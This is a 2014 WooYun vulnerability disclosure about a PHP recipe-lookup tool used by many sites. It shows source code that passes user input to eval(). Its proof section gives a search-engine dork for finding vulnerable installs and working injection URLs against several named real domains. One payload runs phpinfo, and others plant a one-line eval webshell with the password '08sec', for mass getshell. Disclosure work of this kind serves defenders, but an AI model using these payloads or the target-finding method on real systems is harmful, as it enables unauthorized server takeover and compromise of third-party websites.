当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053172

漏洞标题:某生活查询工具代码执行#可批量Getshell

相关厂商:Cncert国家互联网应急中心)处理

漏洞作者: U神

提交时间:2014-03-09 09:50

修复时间:2014-06-07 09:51

公开时间:2014-06-07 09:51

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-09: 细节已通知厂商并且等待厂商处理中
2014-03-10: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向第三方安全合作伙伴开放
2014-05-04: 细节向核心白帽子及相关领域专家公开
2014-05-14: 细节向普通白帽子公开
2014-05-24: 细节向实习白帽子公开
2014-06-07: 细节向公众公开

简要描述:

某生活查询工具代码执行#可批量Getshell

详细说明:

这个生活查询工具很多网站都在用,直接导致了大多网站被沦陷!我们来看看它的部分源代码:

?php
set_time_limit(0);
$prescription = trim($_GET['q']);
$id = intval($_GET['id']);
$r_num = 0; //结果个数
$lan = 3;
$pf = "";
$pf_l = "";
if($prescription!=""){
$dreamdb=file("data/zp.dat");//读取粥谱文件
$count=count($dreamdb);//计算行数
for($i=0; $i<$count; $i++) {
$keyword=explode(" ",$prescription);//拆分关键字
$dreamcount=count($keyword);//关键字个数
$detail=explode("\t",$dreamdb[$i]);
for ($ai=0; $ai<$dreamcount; $ai++) {
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[0]\");");//这个地方使用了一个危险的eval函数导致了代码执行
if(($found)){
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
break;
}
}
}
$pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b><a href="./">粥谱</a>:找到 <a href="./?q='.urlencode($prescription).'"><font color="#c60a00">'.$prescription.'</font></a> 的相关粥谱'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}elseif($id>0){
$dreamdb=file("data/zp.dat");//读取粥谱文件
$count=count($dreamdb);//计算行数
$detail=explode("\t",$dreamdb[$id-1]);
$pf = '<table width="700" cellpadding=2 cellspacing=0 class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle"><b><a href="./">粥谱</a> / '.$detail[0].'</b></td><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" align="right">';
if($id>1 && $id<=$count) $pf .= '<a href="?id='.($id-1).'">上一个</a> ';
$pf .= '<a href="./">查看全部</a>';
if($id>=1 && $id<$count) $pf .= ' <a href="?id='.($id+1).'">下一个</a>';
$pf .= '</td></tr><tr><td align="center" colspan="2"><h3>'.$detail[0].'</h3></td></tr><tr><td style="padding:5px;line-height:21px;" colspan="2"><p>'.$detail[1].'</p></td></tr></table>';
}else{
$dreamdb=file("data/zp.dat");//读取粥谱文件
$count=count($dreamdb);//计算行数
$pfl = rand(0,intval($count/60));
for($i=$pfl*60; $i<$pfl*60+60; $i++) {
if($i>=$count-1) break;
$detail=explode("\t",$dreamdb[$i]);
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
}
$pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b>推荐粥谱'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}
?>

漏洞证明:

这是一个粥谱的查询工具,根据这个页面的特征我们可以批量Getshell。
Google or Baidu:
intitle:粥谱-生活查询
搜索粥谱:
输入最短的关键字,如羊肉山药粥,输入羊肉后按Enter即可
..等等多种关键字都可以找到存在该漏洞的网站。
Example:
http://tool.wanzdsw.com/zhoupu/index.php?q={${phpinfo%28%29}} 执行了phpinfo

01.jpg


那么直接插入一句话执行:
http://www.jybhy.com/bbx/zhoupu/index.php?q={${eval%28$_POST['08sec']%29}} 密码08sec

02.jpg


更多如:

03.jpg


http://www.ip3q.com/toolsji/zhoupu/index.php?q={${eval%28$_POST['08sec']%29}}
http://tool.yp360.net/shenghuo/zhoupu/index.php?q={${eval%28$_POST['08sec']%29}}
http://cha.wa86.com/zhoupu/?q={${eval%28$_POST['08sec']%29}}
http://cha123.com/zhoupu/?q={${eval%28$_POST['08sec']%29}}
http://www.lezhiw.com/tool/zhoupu/?q={${eval%28$_POST['08sec']%29}}
如果转义了单引号可以直接一个字母:
http://zhoupu.zdomo.com/?q={${eval%28$_POST[u]%29}}
等等

修复方案:

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-03-10 10:14

厂商回复:

暂未明确软件生产厂商,先行确认,后续由第三方厂商进行第三方安全防护吧。

最新状态:

暂无